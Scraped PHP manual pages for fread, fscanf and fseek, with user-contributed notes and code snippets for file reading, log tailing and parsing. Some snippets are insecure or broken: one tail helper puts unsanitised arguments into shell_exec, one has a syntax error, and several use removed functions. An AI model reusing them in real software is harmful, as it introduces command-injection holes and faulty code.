?>

And here's an example of using the function:

<?php
if (!send_file("platinumdemo.zip")) {
die ("file transfer failed");
// either the file transfer was incomplete
// or the file was not found
} else {
// the download was a success
// log, or do whatever else
}
?>

Regards,
Rasmus Schultz
ibis at connect dot ie 01-Dec-2004 02:23
If, like me, you're in the habit of using fopen("http://...") and fread for pulling fairly large remote files, you may find that the upgrade to PHP5 (5.0.2 on Win2000/IIS5) causes fread to top out at about 8035 bytes. PHP5 RC2 with identical php.ini settings did not exhibit this behaviour (I was using this for testing). Irritating for me because I was using simple_xml_load to load the file contents as XML, and the problem initially appeared to be that function.

Solution - swap over to file_get_contents or use the loop suggested on the documentation above (see Warning).
mightymrj at hotmail dot com 28-Oct-2004 10:37
Problem: mime attachments sending as blank or almost completely blank documents (all data is lost)

Explanation: After a couple days of trying to mime pdf attachments without losing all data, I finally came across this function in some obsolete obscure post:

set_magic_quotes_runtime()

This is set to on by default in the machine, and it causes fread() and/or base64_encode() (both used in most mime examples I've seen) to read or encrypt binary without slashes for special characters.  This causes sent files to process incorrectly, breaking, thus truncating most of the data in the file.

Fix: pass 0 to this function and it will do a one time turn off while your code executes.

example:
<?php
   set_magic_quotes_runtime(0);
?>

This can also been turned off in the php.ini file, but I'm not sure what uses that setting or what the consequences might be.

info:
   http://us2.php.net/manual/en/function.set-magic-quotes-runtime.php
fpinho at hotpop dot com 13-Oct-2004 02:21
After using the suggested function from Rasmus Schultz : mindplay(at)mindplay(dot)dk, I've just noticed that people trying to download big files with a slow connection would get download stopped after exactly 60seconds -> the max execution time set with php.ini.
I suggest using a bigger buffer (1024x1024), or maybe resetting the time limit within the 'while' cicle with:
   set_time_limit(0);

The cicle would go like this:

<?php
   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*1024));
     set_time_limit(0);
     flush();
   }
?>

Frederico Pinho
Mark 14-Jun-2004 05:37
Unfortunately, or maybe fortunately, magic_quotes_runtime setting in php.ini affects this call, even if you specify the bytes count, and even if you specify that the file you're reading is binary (via 'rb' when calling fopen.) So be careful, especially if you're using someone else's library that depends on binary read.
webmaster at wildpeaks dot com 14-May-2004 12:32
The following function retrieves a line in a file, regardless of its size, so you won't get an error if the file's size is beyond php's allowed memory limit (the string has to be below however), which is something i was needing for accessing a big log file generated by a webhost. Indexes start at 1 (so $line = 1 means the first line unlike arrays). If the file is small, it would be better to use "file()" however.

<?php
function strpos_count($haystack, $needle, $i = 0) {
    while (strpos($haystack,$needle) !== false) {$haystack = substr($haystack, (strpos($haystack,$needle) + 1)); $i++;}
    return $i;
}
function getLine($file,$line=1){
    $occurence = 0;
    $contents = '';
    $startPos = -1;
    if (!file_exists($file)) return '';
    $fp = @fopen($file, "rb");
    if (!$fp) return '';
    while (!@feof($fp)) {
        $str = @fread($fp, 1024);
        $number_of_occurences = strpos_count($str,"\n");
        if ($number_of_occurences == 0) {if ($start_pos != -1) {$contents .= $str;}}
        else {
            $lastPos = 0;
            for ($i = 0; $i < $number_of_occurences; $i++){
                $pos = strpos($str,"\n", $lastPos);
                $occurence++;
                if ($occurence == $line) {
                    $startPos = $pos;
                    if ($i == $number_of_occurences - 1) {$contents = substr($str, $startPos + 1);}
                } elseif ($occurence == $line + 1) {
                    if ($i == 0) {$contents .= substr($str, 0, $pos);} else {$contents = substr($str, $startPos, $pos - $startPos);}
                    $occurence = 0;
                    break;
                }
                $lastPos = $pos + 1;
            }
        }
    }
    @fclose($fp);
    return $contents;
}
?>
squeegee 13-Apr-2004 05:25
fread also works for fsockopen's that are open-ended (no feof) if you know how the last packet for a particular set of data should end. For example, if you sent a command to an nntp server, the reply from the server would end with a dot and a carriage return/linefeed. The connection still stays open for more commands, but doing it this way is more efficient than doing line-by-line fgets until you get to the end of the reply.

<?php
if(($res=nntp_cmd($conn,"BODY $msgid",222))===false){
    continue;
}else{
    $contents='';
    while(1){
        $packet=fread($conn,8192);
        $contents.=$packet;
        if(substr($packet,-3)==".\r\n")break;
    }
    // do something with $contents
}
?>
Brian 17-May-2003 02:10
Two quick notes on download prompting...
First, the following line:

<?php
header("Cache-Control: no-cache, must-revalidate");
?>

causes IE6 to prompt you to download the script instead of the output and will fail to connect.  Take out that header and everything works perfectly.

Pragma: no-cache doesn't cause a problem.

Second, Mozilla tries to add .php to the download file name if content-type is application. Changing the content type to the more specific MIME type (such as audio/mpeg) fixes that but causes IE to try its plugins (such as Quicktime).

The fix I found for that to specify attachment instead of inline.  Here's my code: a prompted, small buffer MP3 download:

<?php
function downloadMP3 ($fileDir, $fileName) {
   $completeFilePath=$fileDir.'/'.$fileName;
   header('Pragma: no-cache');
   header("Content-type: audio/mpeg\nContent-Disposition: attachment; filename=\"" . $fileName . "\"\nContent-length: ".(string)(filesize($completeFilePath)));
   $fd=fopen($completeFilePath,'rb');
      while(!feof($fd)) {
         print(fread($fd, 4096));
         flush();
      }
}
?>
c97 at c97 dot art dot pl 20-Nov-2002 09:02
Simple script to limit browser download speed using fread function.

<?php

$file = "test.mp3"; // file to be send to the client
$speed = 8.5; // 8,5 kb/s download rate limit

if(file_exists($file) && is_file($file)) {

    header("Cache-control: private");
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".filesize($file));
    header("Content-Disposition: filename=$file" . "%20");

    flush();

    $fd = fopen($file, "r");
    while(!feof($fd)) {
         echo fread($fd, round($speed*1024));
        flush();
        sleep(1);
    }
    fclose ($fd);

}

?>
rob at lbox.org 14-Nov-2002 01:28
I spent a while trying to get this to work so I thought I'd share.

Here's how to read a remote binary file using fread.

<?php
$fp = fopen("http://www.example.com/img.jpg", "rb");

if($fp){
 while(!feof($fp)) {
     $img = $img . fread($fp, 1024);
 }
}
?>

This will read the contents of the file into the var $img 1024 bytes at a time.  I used that number because it seemed safe, but you can increment it all you want I guess.

I don't know if everyone but me gets this, but I thought I'd share since I didn't see anything like it out there.
mail at scherzbold dot net 07-Jul-2002 06:09
I wrote a simple function for grabbing binary files from the web.

<?php
function wwwcopy($file,$nfile)
{
    $fp = @fopen($file,"rb");
    while(!feof($fp))
    {
        $cont.= fread($fp,1024);
    }
    fclose($fp);

    $fp2 = @fopen($nfile,"w");
    fwrite($fp2,$cont);
    fclose($fp2);
}
?>
heikki dot korpela at wapit dot com 26-Aug-2000 02:22
Fread is binary-safe IF AND ONLY IF you don't use magic-quotes. If you do, all null bytes will become \0, and you might get surprising results when unpacking.

That is, you would do something like

<?php
set_magic_quotes_runtime(0);
?>

before fread()

and something like

<?php
set_magic_quotes_runtime(get_magic_quotes_gpc()) after.
?>

And, after fread, an unpack would be needed, of course. Surprisingly, pack(), however, does not work quite like in Perl (or perhaps I'm just missing something here) - you can't pack an array directly, but instead you'll have to pack each element seperately to the string:

<?php
foreach ($data as $dec) {
  $data_output .= pack("C*", $dec);
}
?>
fputs
fscanf
Filesystem Functions


Parses input from a file according to a format

fread
fseek
Filesystem Functions
PHP Manual

fscanf

(PHP 4 >= 4.0.1, PHP 5)

fscanf — Parses input from a file according to a format

Description

mixed fscanf ( resource $handle , string $format [, mixed &$... ] )

The function fscanf() is similar to sscanf(), but it takes its input from a file associated with handle and interprets the input according to the specified format, which is described in the documentation for sprintf().

Any whitespace in the format string matches any whitespace in the input stream. This means that even a tab \t in the format string can match a single space character in the input stream.

Each call to fscanf() reads one line from the file.

Parameters

handle

A file system pointer resource that is typically created using fopen().

format

The specified format as described in the sprintf() documentation.

...

The optional assigned values.

Return Values

If only two parameters were passed to this function, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

Changelog

Version | Description
4.3.0 | Before this time, the maximum number of characters read from the file was 512 (or up to the first \n, whichever came first). But now, arbitrarily long lines will be read and scanned.

Examples

Example #1 fscanf() Example

<?php
$handle = fopen("users.txt", "r");
while ($userinfo = fscanf($handle, "%s\t%s\t%s\n")) {
    list ($name, $profession, $countrycode) = $userinfo;
    //... do something with the values
}
fclose($handle);
?>

Example #2 Contents of users.txt

javier  argonaut        pe
hiroshi sculptor        jp
robert  slacker us
luigi   florist it

See Also

  • fread() - Binary-safe file read
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • sscanf() - Parses input from a string according to a format
  • printf() - Output a formatted string
  • sprintf() - Return a formatted string

User Contributed Notes

dave at dave dot st 01-Jan-2009 11:58
The fgetd() function suggested by worldwideroach on 14-Jul-2005 04:33 does not handle the last buffer-load of data correctly. At least not for my requirement. It is possible for EOF to have been reached but for there still to be characters in $sRecord.

For the, er... record I got better results with this version:

<?php
function fgetd(&$rFile, $sDelim, $iBuffer=1024) {

  $sRecord = '';

  while(!feof($rFile)) {
    $iPos = strpos($sRecord, $sDelim);
    if ($iPos === FALSE) {
        $sRecord .= fread($rFile, $iBuffer);
    } else {
        fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
        return substr($sRecord, 0, $iPos);
    }
  }

  // Last read got some more data before hitting EOF?
  if ($sRecord != '') {
    if (($iPos = strpos($sRecord, $sDelim)) !== FALSE) {
      fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
      return substr($sRecord, 0, $iPos);
    }
    else {
      return $sRecord;
    }
  }
  else {
    return FALSE;
  }
}
?>
arentzen at religion dot dk 30-Sep-2007 02:56
If you want fscanf()to scan one variable in a large number of lines,  e.g an Ipadress in a line with more variables, then use fscanf with explode()
<?
$filename = "somefile.txt";
$fp = fopen($filename, "r") or die ("Error opening file! \n");
$u = explode(" ",$line); // $u is the variable eg. an IPadress
while ($line = fscanf($fp,"%s",$u)) {
if(preg_match("/^$u/",$_SERVER['REMOTE_ADDR'])) {$badipadresss++;} // do something and continue scan
}
?>
Besides, fscanf()is much faster than fgets()
Bertrand dot Lecun at prism dot uvsq dot Fr 30-May-2007 12:48
It would be great to precise in the fscanf documentation
that one call to the function, reads a complete line.
and not just the number of values defined in the format.

If a text file contains 2 lines each containing 4 integer values,
reading the file with 8 fscanf($fd,"%d",$v) doesnt run !
You have to make 2
fscanf($fd,"%d %d %d %d",$v1,$v2,$v3,$v4);

Then 1 fscanf per line.
loco.xxx at gmail dot com 24-Jul-2006 12:46
to include all type of visible chars you should try:

<?php fscanf($file_handler,"%[ -~]"); ?>
worldwideroach at hotmail dot com 14-Jul-2005 09:33
Yet another function to read a file and return a record/string by a delimiter.  It is very much like fgets() with the delimiter being an additional parameter.  Works great across multiple lines.

function fgetd(&$rFile, $sDelim, $iBuffer=1024) {
    $sRecord = '';
    while(!feof($rFile)) {
        $iPos = strpos($sRecord, $sDelim);
        if ($iPos === false) {
            $sRecord .= fread($rFile, $iBuffer);
        } else {
            fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
            return substr($sRecord, 0, $iPos);
        }
    }
    return false;
}
rudigreen at gmail dot com 01-Jul-2005 03:43
I have a function for reading delimited files, it works for multiple lines too (i think...)

<?
//$fh - is the file pointer
//$delim - is the seperator
//$callback - self explanatory
//$len - optional
function file_read_delim($fh,$delim,$callback,$len=1024)
{
    $rec = '';
    while(!feof($fh))
    {
        $buf = fread($fh,$len);
        if(strpos($buf,$delim) === false)
        {
            $rec .= $buf;
        }
        else
        {
            $strs = explode($delim,$buf);
            foreach ($strs as $ele)
            {
                $rec .= $ele;
                call_user_func($callback,$rec);
                $rec = '';
            }
        }
    }
}

//Here is an example how to use the function

$fh = fopen($filename,'r');
    if(!$fh)
    {
                 die 'Could not open file for reading';
    }
        //call the function
    file_read_delim($fh,'-','cb');
    fclose($fh);

function cb($rec)
{
echo "$rec \n";
}
?>
me at hesterc dot fsnet dot co dot uk 25-May-2004 07:03
I have a simpler method I use to parse delimited text. Using the data posted by gozer at fanhunter dot com, here is my script. Maybe it is faster?

<?php

$fp = fopen ("sections.dat","r");

if (!$fp) {echo "<p>Unable to open remote file.</p>"; exit;}

while (!feof($fp)):
 $line = fgets($fp, 2048);
 $out = array($line);
 list ($id, $name, $description, $language, $directory, $id_uplevel, $order, $hassubsection) = split ("\|", $out[0]);
 echo "$id-$name-$description-$language-$directory-
$id_uplevel-$order-$hassubsection<br />\n";
 $fp++;
endwhile;

fclose($fp);
?>

Notes:

Avoid the php extension on a data file - it will cause PHP to parse the file, but there is no PHP in it.

The "2048" value on line 2 of the loop is set for long lines. 1024 works fine, but I had to increase it with a large database I use a similar script to read.

You don't need to open and close the speech marks (as in gozer at fanhunter dot com's example) in the echo line, just use the variables inbetween the dashes.

(Remove the line break halfway through the echo line - it is just there for this forum.)
matt at mattsinclair dot com 21-Jan-2004 12:36
A better way to use fscanf() would be this:

<?php
$handle = fopen("users.txt", "r");
while (!feof($handle)) {
   $userinfo = fscanf($handle, "%s\t%s\t%s\n");
   if ($userinfo) {
     list ($name, $profession, $countrycode) = $userinfo;
     //... do something with the values
   }
   $userinfo=NULL;
}
fclose($handle);
?>

as you can see, instead of waiting for fscanf() to fail to return a value... it waits for the the pointer to get to the end of the file... this way, if for some reason one of your lines does not match your expression, it will not kill the loop.  it will simply go on to the next line.
robert at NOSPAM dot NOSPAM 24-Oct-2002 04:08
actually, instead of trying to think of every character that might be in your file, excluding the delimiter would be much easier.

for example, if your delimiter was a comma use:

%[^,]

instead of:

%[a-zA-Z0-9.| ... ]

Just make sure to use %[^,\n] on your last entry so you don't include the newline.
ruiner911 at yahoo dot com 15-Aug-2002 01:01
Clear the variables before you scan them in.  As a programmer this should have been very apparent.  Goof.
eugene at pro-access dot com 16-Mar-2002 12:39
If you want to read text files in csv format or the like(no matter what character the fields are separated with), you should use fgetcsv() instead. When a text for a field is blank, fscanf() may skip it and fill it with the next text, whereas fgetcsv() correctly regards it as a blank field.
gozer at fanhunter dot com 07-Mar-2002 06:53
Hi,
A few days ago we got multiple mySQL crashes due to a hardware failure and other processes running.
While we thought it could be the mySQL daemon overloaded, we started looking for alternate ways to get our little databases working so we started using fscanf to parse files.

We ran into multiple problems due to the whitespace and other characters that were in our database. Finally, we made it to work using sets as james@zephyr-works.com remarked.

Our final function is:

  function get_sections($include_dir){
    $filename = $include_dir . "sections.dat.php";
    $datafile = fopen ($filename ,"r");
    while ($sectioninfo = fscanf ($datafile, "%[0-9]|%[a-zA-Z0-9@&;:,. /!?-]|%[a-zA-Z0-9@&;:,. /!?-]|%[a-zA-Z]|%[a-zA-Z0-9@/?&;.+=-]|%[0-9]|%[0-9]|%[0-9]\n")) {
        list($id, $name, $description, $language, $directory, $id_uplevel, $order, $hassubsection) = $sectioninfo;

        // Show output
        echo $id . "-" . $name. "-" . $description . "-" . $language . "-" . $directory . "-" . $id_uplevel . "-" . $order . "-" . $hassubsection . "<br>\n";
    }
    fclose($datafile);
  }

The contents of sections.dat.php (for example):

1|home|P&aacute;gina principal de Fanhunter.|castellano|==|0|0|0
2|fanhunter|Secci&oacute;n principal dedicada al universo Fanhunter.|castellano|fanhunter/|1|0|0
3|outfan|Secci&oacute;n principal dedicada al universo Outfan.|castellano|outfan/|1|0|0
4|fanpiro|Secci&oacute;n principal dedicada al universo Fanpiro.|castellano|fanpiro/|1|0|0
5|tienda|La tienda de Fanhunter.|castellano|tienda/|1|0|0
6|the zone|Secci&oacute;n principal Miscel&aacute;nea.|castellano|thezone/|1|0|0
7|flfcn|Secci&oacute;n principal dedicada a Fan Letal/Fan con Nata.|castellano|fanletal/|1|0|0
8|foro|Nuestro foro de discusi&oacute;n.|castellano|foro/|1|0|0
9|chat|Secci&oacute;n para chatear.|castellano|chat/|1|0|0
10|links|Secci&oacute;n recopilatoria de enlaces de inter&eacute;s a otras p&aacute;ginas.|castellano|links/|1|0|0

Note: The '==' in directory means no directory needed to be specified.
Pay attention to linebreaks, as this forum puts some of them into the code I pasted.

Good luck guys.
james at zephyr-works dot com 08-Jul-2001 12:29
fscanf works a little retardedly I've found. Instead of using just a plain %s you probably will need to use sets instead. Because it works so screwy compared to C/C++, fscanf does not have the ability to scan ahead in a string and pattern match correctly, so a seemingly perfect function call like:

fscanf($fh, "%s::%s");

With a file like:

user::password

Will not work. When fscanf looks for a string, it will look and stop at nothing except for a whitespace so :: and everything except whitespace is considered part of that string, however you can make it a little smarter by:

fscanf($fh, "%[a-zA-Z0-9,. ]::%[a-zA-Z0-9,. ]" $var1, $var2);

Which tells it that it can only accept a through z A through Z 0 through 9 a comma a period and a whitespace as input to the string, everything else cause it to stop taking in as input and continue parsing the line. This is very useful if you want to get a sentence into the string and you're not sure of exactly how many words to add, etc.
yasuo_ohgaki at hotmail dot com 12-Mar-2001 11:59
For C/C++ programmers.

fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly.
fread
fseek
Filesystem Functions


Seeks on a file pointer

fscanf
fstat
Filesystem Functions
PHP Manual

fseek

(PHP 4, PHP 5)

fseek — Seeks on a file pointer

Description

int fseek ( resource $handle , int $offset [, int $whence = SEEK_SET ] )

Sets the file position indicator for the file referenced by handle. The new position, measured in bytes from the beginning of the file, is obtained by adding offset to the position specified by whence.

In general, it is allowed to seek past the end-of-file; if data is then written, reads in any unwritten region between the end-of-file and the sought position will yield bytes with value 0. However, certain streams may not support this behavior, especially when they have an underlying fixed size storage.

Parameters

handle

A file system pointer resource that is typically created using fopen().

offset

The offset.

To move to a position before the end-of-file, you need to pass a negative value in offset and set whence to SEEK_END.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

Return Values

Upon success, returns 0; otherwise, returns -1.

Examples

Example #1 fseek() example

<?php

$fp = fopen('somefile.txt', 'r');

// read some data
$data = fgets($fp, 4096);

// move back to the beginning of the file
// same as rewind($fp);
fseek($fp, 0);

?>

Notes

Note:

If you have opened the file in append (a or a+) mode, any data you write to the file will always be appended, regardless of the file position, and the result of calling fseek() will be undefined.

Note:

Not all streams support seeking. For those that do not support seeking, forward seeking from the current position is accomplished by reading and discarding data; other forms of seeking will fail.

See Also

  • ftell() - Returns the current position of the file read/write pointer
  • rewind() - Rewind the position of a file pointer

User Contributed Notes

Anonymous 21-Nov-2011 07:43
I needed to stream a txt file (here big xml file) to get nodes blockwise. I couldn't find a shorter way. So i did write this class.

Function: streams a complete file and returns the content between two search strings with their search strings (multi byte safe)

Hope it helps anyone.

PS: It lacks any boolean checks / exception handling for non existing files / read errors.

<?php
/**
 * Reads txt-files blockwise
 * Usage:
    $c_streamFileTxt = new streamFileTxt;
    $_args = array(

        'file' => 'temporary.xml',
        'start_string' => '<Product>',
        'stop_string' => '</Product>',
        'block_size' => '8192'
    );

    $c_streamFileTxt->setArgs($_args);

    while ($txt_block = $c_streamFileTxt->getNextBlock())
    {
        // use $txt_block for something
    }
 */

class streamFileTxt
{
    private $handle;
    private $file;
    private $file_offset;
    private $block;
    private $start_string;
    private $stop_string;
    private $block_size;

    /**
     * Sett class arguments
     * @param array $_args
     */
    public function setArgs($_args)
    {
        $this->file = $_args['file'];
        $this->start_string = $_args['start_string'];
        $this->stop_string = $_args['stop_string'];
        $this->block_size = $_args['block_size'];
    }

    /**
     * Get next textblock within a file
     * @param void
     * @return string $textblock
     */
    public function getNextBlock()
    {
        $this->openFile();

        fseek($this->handle, $this->file_offset);
        $start_string_found = false;
        $stop_string_found = false;
        while (!feof($this->handle))
        {
            $txt_block = fread($this->handle, $this->block_size);

            if (!$start_string_found) // while not start start snippet found
            {
                $strpos = mb_strpos($txt_block, $this->start_string);
                if ($strpos !== false)
                {
                    // cut of first left chunk
                    $txt_block = mb_substr($txt_block, $strpos, $this->block_size);
                    $start_string_found = true;
                }
            }

            if ($start_string_found && !$stop_string_found) // start snipped found, looking for stop snippet
            {
                $strpos = mb_strpos($txt_block, $this->stop_string);
                if ($strpos !== false)
                {
                    $removed_block_size = mb_strlen($txt_block) - $strpos;
                    $txt_block = mb_substr($txt_block, 0, $strpos + mb_strlen($this->stop_string));
                    $stop_string_found = true;
                    $this->setFileOffset($removed_block_size);
                }
            }

            if ($stop_string_found) // stop-snippet found, keep file offset, return
            {
                $this->closeFile();
                return $txt_block;
            }
        }

        $this->closeFile();
        return false;
    }

    /**
     * Set current file offset and consider the removed block size
     * current file position = current file offset - removed block size
     * @param int $removed_block_size
     */
    private function setFileOffset($removed_block_size)
    {
        $this->file_offset = ftell($this->handle) - $removed_block_size;
    }

    /**
     * close current file
     * @param void
     * @return void
     */
    private function openFile()
    {
        $this->handle = fopen($this->file, 'r');
    }

    /**
     * open file
     * @param void
     * @return void
     */
    private function closeFile()
    {
        fclose($this->handle);
    }
}
kavoshgar3 at gmail dot com 28-Oct-2011 09:06
sometimes we want read file from last line to beginning of file.I use the following.
<?php
function read_backward_line($filename, $lines, $revers = false)
{
    $offset = -1;
    $c = '';
    $read = '';
    $i = 0;
    $fp = @fopen($filename, "r");
    while( $lines && fseek($fp, $offset, SEEK_END) >= 0 ) {
        $c = fgetc($fp);
        if($c == "\n" || $c == "\r"){
            $lines--;
            if( $revers ){
                $read[$i] = strrev($read[$i]);
                $i++;
            }
        }
        if( $revers ) $read[$i] .= $c;
        else $read .= $c;
        $offset--;
    }
    fclose ($fp);
    if( $revers ){
        if($read[$i] == "\n" || $read[$i] == "\r")
            array_pop($read);
        else $read[$i] = strrev($read[$i]);
        return implode('',$read);
    }
    return strrev(rtrim($read,"\n\r"));
}
//if $revers=false function return->
//line 1000: i am line of 1000
//line 1001: and i am line of 1001
//line 1002: and i am last line
//but if $revers=true function return->
//line 1002: and i am last line
//line 1001: and i am line of 1001
//line 1000: i am line of 1000
?>
Enjoy! Mail me if it works!  ;-)
Anonymous 18-Mar-2011 06:56
The official docs indicate that not all streams are seekable.
You can try to seek anyway and handle failure:

<?php
if (fseek($stream, $offset, SEEK_CUR) === -1) {
  // whatever
}
?>

Or, you can use the stream_get_meta_data function:
http://php.net/stream_get_meta_data

<?php
function fseekable($stream) {
  $meta = stream_get_meta_data($stream);
  return $meta['seekable'];
}
?>
sylvain at abstraction dot fr 27-Sep-2010 05:51
seeking past PHP_INT_MAX.

<?php

function fseek64(&$fh, $offset)
{
    fseek($fh, 0, SEEK_SET);

    if ($offset <= PHP_INT_MAX)
    {
        return fseek($fh, $offset, SEEK_SET);
    }

    $t_offset   = PHP_INT_MAX;
    $offset     = $offset - $t_offset;

    while (fseek($fh, $t_offset, SEEK_CUR) === 0)
    {
        if ($offset > PHP_INT_MAX)
        {
            $t_offset   = PHP_INT_MAX;
            $offset     = $offset - $t_offset;
        }
        else if ($offset > 0)
        {
            $t_offset   = $offset;
            $offset     = 0;
        }
        else
        {
            return 0;
        }
    }

    return -1;
}

?>
necudeco at gmail dot com 23-Jul-2010 10:31
This a tail php script example for windows system.

<?php
$n = ( isset($_REQUEST['n']) == true )? $_REQUEST['n']:20;

$offset = -$n * 120;

$rs = fopen('C:/wamp/logs/apache_error.log','r');
if ( $rs === false )
    die("No se pudo abrir el archivo de log");

fseek($rs,$offset,SEEK_END);

fgets($rs);
while(!feof($rs))
{
    $buffer = fgets($rs);
    echo $buffer;
    echo "<hr />";
}

fclose($rs);
?>
Nitrogen 05-Jul-2010 09:33
Guys, I have always had issues with PHP's internally signed integers..
I design my own database structures and I store huge amounts of data in files (over 100 GBs) and I've always had issues doing anything with a file past the 2 GB mark.

I did some testing and discovered the limit of fseek/ftell and/or any other integer operation.
The limit is 2 GBs minus 1 byte.. or 2Ã—1024Â³-1 (or 2*pow(1024,3)-1).

I had to make a work-around because of this and split my database into multiple files to avoid this problem.. works just fine now.
I didn't see the signed integer issue mentioned with this function so I thought I would, may save someone the time figuring it out, too.

Nitrogen.
Max Christian Pohle 01-Dec-2009 10:12
This example demonstrates, how fseek can be used to determine the dimension (size) of an mp4-video-file:

<?php
  $fh; # filehandle
  if(($fh = fopen($filename, "rb")) === FALSE)
  { die("unable to open file '$filename'!"); }

  # seek headerposition, where sizeX is...
  fseek($fh, 0xE8);
  $sizeX = fread($fh, 2); # read two bytes (the width)

  # seek headerposition, where sizeY is...
  fseek($fh, 0xEC);
  $sizeY = fread($fh, 2); # read two bytes (the height)

  fclose($fh);

  echo "sizeX: ".hexdec(bin2hex($sizeX))."<br/>";
  echo "sizeX: ".hexdec(bin2hex($sizeY))."<br/>";
?>
steve at studio831 dot com 23-Jul-2009 01:49
Modified @ben's function to work for files larger than PHP_INT_MAX bytes.

<?php
function longTail($file, $numLines = 100)
{
    $fp = fopen($file, "r");
    $chunk = 4096;
    $fs = sprintf("%u", filesize($file));
    $max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);

    for ($len = 0; $len < $max; $len += $chunk) {
        $seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;

        fseek($fp, ($len + $seekSize) * -1, SEEK_END);
        $data = fread($fp, $seekSize) . $data;

        if (substr_count($data, "\n") >= $numLines + 1) {
            preg_match("!(.*?\n){".($numLines)."}$!", $data, $match);
            fclose($fp);
            return $match[0];
        }
    }
    fclose($fp);
    return $data;
}
?>
Tom Pittlik 23-Apr-2009 12:32
The tail example functions below will return a PHP memory limit error when trying to open large files. Since tail is convenient for opening large logs, here is a function that lets you (provided you have permission):

<?php

function unix_tail($lines,$file)
{
    shell_exec("tail -n $lines $file > /tmp/phptail_$file");
    $output = file_get_contents("/tmp/phptail_$file");
    unlink("/tmp/phptail_$file");
    return $output;
}

?>
ben at nullcreations dot net 22-Oct-2008 02:38
easier tail() function for php:

<?php
function tail($file, $num_to_get=10)
{
  $fp = fopen($file, 'r');
  $position = filesize($file);
  fseek($fp, $position-1);
  $chunklen = 4096;
  while($position >= 0)
  {
    $position = $position - $chunklen;
    if ($position < 0) { $chunklen = abs($position); $position=0;}
    fseek($fp, $position);
    $data = fread($fp, $chunklen). $data;
    if (substr_count($data, "\n") >= $num_to_get + 1)
    {
       preg_match("!(.*?\n){".($num_to_get-1)."}$!", $data, $match);
       return $match[0];
    }
  }
  fclose($fp);
  return $data;
}
?>
vidmantas dot norkus at uostas dot net 09-Oct-2008 07:42
read x lines from log file end

marc dot roe at gmail dot com improved a bit speed
but this makes reading even more faster :)

test on my server:
2megs file with his function read elapsed 5 sec vs mines 0.03 sec

faster with large and small file

<?php
function __file_backread_helper(&$haystack,$needle,$x)
{
    $pos=0;$cnt=0;
    while( $cnt < $x && ($pos=strpos($haystack,$needle,$pos)) !==false ){$pos++;$cnt++;}
    return $pos==false ? false:substr($haystack,$pos,strlen($haystack));
}

function file_backread($file,$lines,&$fsize=0){
    $f=fopen($file,'r');
    if(!$f)return Array();

    $splits=$lines*50;
    if($splits>10000)$splits=10000;

    $fsize=filesize($file);
    $pos=$fsize;

    $buff1=Array();
    $cnt=0;

    while($pos)
    {
        $pos=$pos-$splits;

        if($pos<0){ $splits+=$pos; $pos=0;}

        fseek($f,$pos);
        $buff=fread($f,$splits);
        if(!$buff)break;

        $lines -= substr_count($buff, "\n");

        if($lines <= 0)
        {
            $buff1[] = __file_backread_helper($buff,"\n",abs($lines)+1);
            break;
        }
        $buff1[] = $buff;
    }

    return str_replace("\r",'',implode('',array_reverse($buff1)));
}
?>

end of dirty code
Anonymous 11-Apr-2008 10:45
To:seeker at example com
Be careful, though.
You can freely position you pointer if you open a file in (r+) mode, but it will "overwrite" the data, not "append it".

Tested this:

<?php
// file.txt content:
// "You can contribute your notes to the PHP manual from the comfort of your browser!"

$handler = fopen("file.txt", "r+");
fseek($handler, 0);
fwrite($handler, "want to add this");
?>
New contents of the file.txt will be like this:
"want to add thiste your notes to the PHP manual from the comfort of your browser!".

If you really want to append at the beginning, you have to first get all the contents, save it, clear the file, put the new contents and append the saved contents at the end.
seeker at example com 28-Feb-2008 08:40
JUST TO QUOTE AND POINT THIS OUT:

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
3. if you're using fseek() to write data to a file, remember to open the file in "r+"
mode, example:

  $fp=fopen($filename,"r+");

DON'T open the file in mode "a" (for append), because it puts
 the file pointer at the end of the file and doesn't let you
fseek earlier positions in the file (it didn't for me!). Also,
don't open the file in mode "w" -- although this puts you at
the beginning of the file -- because it wipes out all data in
the file.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Took me half a day to figure :/
mhinks at gmail dot com 26-Feb-2007 11:38
Here's a function I wrote to binary search for a line of text within a file, particularly useful when the file is too large to read into memory at once and you want a faster search than linear.

function binary_search_in_file($filename, $search) {

    //Open the file
    $fp = fopen($filename, 'r');

    //Seek to the end
    fseek($fp, 0, SEEK_END);

    //Get the max value
    $high = ftell($fp);

    //Set the low value
    $low = 0;

    while ($low <= $high) {
        $mid = floor(($low + $high) / 2);  // C floors for you

        //Seek to half way through
        fseek($fp, $mid);

        if($mid != 0){
            //Read a line to move to eol
            $line = fgets($fp);
        }

        //Read a line to get data
        $line = fgets($fp);

        if ($line == $search) {
            fclose($fp);
            return $line;
        }
        else {
            if ($search < $line) {
                $high = $mid - 1;
            }
            else {
                $low = $mid + 1;
            }
        }
    }

    //Close the pointer
    fclose($fp);

    return FALSE;

}
marc dot roe at gmail dot com 19-Aug-2006 09:38
I tried to improve and modify (mail at ulf-kosack dot de)'s function. Actually it is very fast, i.e. requires much less time than to get the last five, ten or whatever lines of a file using file() ore file_get_contents().

function read_file($file, $lines)
{
       $handle = fopen($file, "r");
       $linecounter = $lines;
       $pos = -2;
       $beginning = false;
       $text = array();
       while ($linecounter > 0) {
         $t = " ";
         while ($t != "\n") {
           if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true; break; }
           $t = fgetc($handle);
           $pos --;
         }
         $linecounter --;
         if($beginning) rewind($handle);
         $text[$lines-$linecounter-1] = fgets($handle);
         if($beginning break;
       }
       fclose ($handle);
       return array_reverse($text); // array_reverse is optional: you can also just return the $text array which consists of the file's lines.
}

